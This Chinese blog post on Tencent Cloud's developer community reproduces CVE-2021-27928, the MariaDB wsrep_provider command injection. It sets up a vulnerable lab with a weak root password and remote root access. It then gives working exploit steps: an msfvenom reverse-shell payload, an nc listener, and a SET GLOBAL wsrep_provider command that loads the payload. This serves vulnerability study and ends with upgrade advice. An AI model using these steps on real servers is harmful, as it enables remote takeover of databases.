前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入

CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入

原创
作者头像
Al1ex
修改2021-04-16 17:49:39
2.4K0
修改2021-04-16 17:49:39
举报
文章被收录于专栏:网络安全攻防网络安全攻防

影响范围

  • MariaDB 10.2 before 10.2.37
  • MariaDB 10.3 before 10.3.28
  • MariaDB 10.4 before 10.4.18
  • MariaDB 10.5 before 10.5.9

漏洞类型

命令注入漏洞

利用条件

影响范围应用

漏洞概述

2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notify_cmd后执行OS命令。

漏洞复现

环境搭建

首先,访问Mariadb官方下载存在漏洞版本的安装包:

https://downloads.mariadb.org/mariadb/10.3.27/

之后将下载好的文件传到服务器上:

在安装包所在目录执行以下命令把安装包解压到/usr/local目录下

代码语言:javascript
复制
sudo tar xvf mariadb-10.3.27-linux-x86_64.tar.gz -C /usr/local

之后进入到解压文件目录中

这里的mariadb的目录名不符合要求,我们可以直接修改名字,也可以创建一个软连接,这里采用软连接方式:

代码语言:javascript
复制
sudo ln -s mariadb-10.3.27-linux-x86_64/ mysql

之后创建mysql用户

代码语言:javascript
复制
删除用户:userdel mysql
删除用户组:groupdel mysql
删除邮箱:rm -rf /var/spool/mail/mysql
创建mysql用户组:useradd -s /sbin/nologin -M mysql

之后赋予用户权限:

代码语言:javascript
复制
sudo chown -R mysql:mysql .

指定数据库文件目录

代码语言:javascript
复制
sudo mkdir /usr/maria_data
sudo chown -R mysql:mysql /usr/maria_data

初始化数据库(操作路径/usr/local/mysql)

代码语言:javascript
复制
sudo ./scripts/mysql_install_db --user=mysql --datadir=/usr/maria_data

配置启动脚本(操作路径/usr/local/mysql)

代码语言:javascript
复制
cp ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/init.d/mysqld

编辑配置脚本,填写一下内容:

代码语言:javascript
复制
basedir=/usr/local/mysql
datadir=/usr/maria_data

配置环境变量:

代码语言:javascript
复制
echo 'export PATH=/usr/local/mysql/bin:$PATH' >  /etc/profile.d/mysql.sh
source /etc/profile.d/mysql.sh

进入/usr/local/mysql/support-files找到配置文件wsrep.cnf,添加如下内容

代码语言:javascript
复制
log_bin=mysql-bin
skip_name_resolve=on

启动服务:

代码语言:javascript
复制
sysv-rc-conf mysqld on

设置数据库密码以及允许远程登录

代码语言:javascript
复制
#选择mysql 数据库
use mysql;

#更改 root 用户密码
update user set password=PASSWORD("root")where user="root";

#更新权限
flush privileges;

#设置任何远程主机都可以访问数据库
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

#更新权限
flush privileges;

测试远程访问:

漏洞利用

Step 1:使用MSF生成载荷

代码语言:javascript
复制
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f elf-so -o CVE-2021-27928.so

Step 2:开启NC监听

代码语言:javascript
复制
nc -lvp <port>
nc -lvp 4444

Step 3:将payload复制到目标主机(可以通过SCP或SSH方式)

代码语言:javascript
复制
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
scp CVE-2021-27928.so ubuntu@192.168.174.166:/tmp/CVE-2021-27928.so

Step 4:执行以下命令,之后成功反弹shell回来:

代码语言:javascript
复制
mysql -u root -p -h 192.168.174.166 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

安全建议

升级到安全版本

参考链接

https://www.exploit-db.com/exploits/49765

https://jira.mariadb.org/browse/MDEV-25179

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞类型
  • 利用条件
  • 漏洞概述
  • 漏洞复现
    • 环境搭建
      • 漏洞利用
      • 安全建议
      • 参考链接
      相关产品与服务
      云数据库 MariaDB
      腾讯云数据库 MariaDB(TencentDB for MariaDB) 让您轻松在云端部署、使用 MariaDB 数据库。MariaDB 是在 MySQL 版权被 Oracle 收购后,由 MySQL 创始人 Monty 创立,其版权授予了“MariaDB基金会(非营利性组织)”以保证 MariaDB 永远开源,良好的开源策略,是企业级应用的最优选择,主流开源社区系统/软件的数据库系统,均已默认配置 MariaDB。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档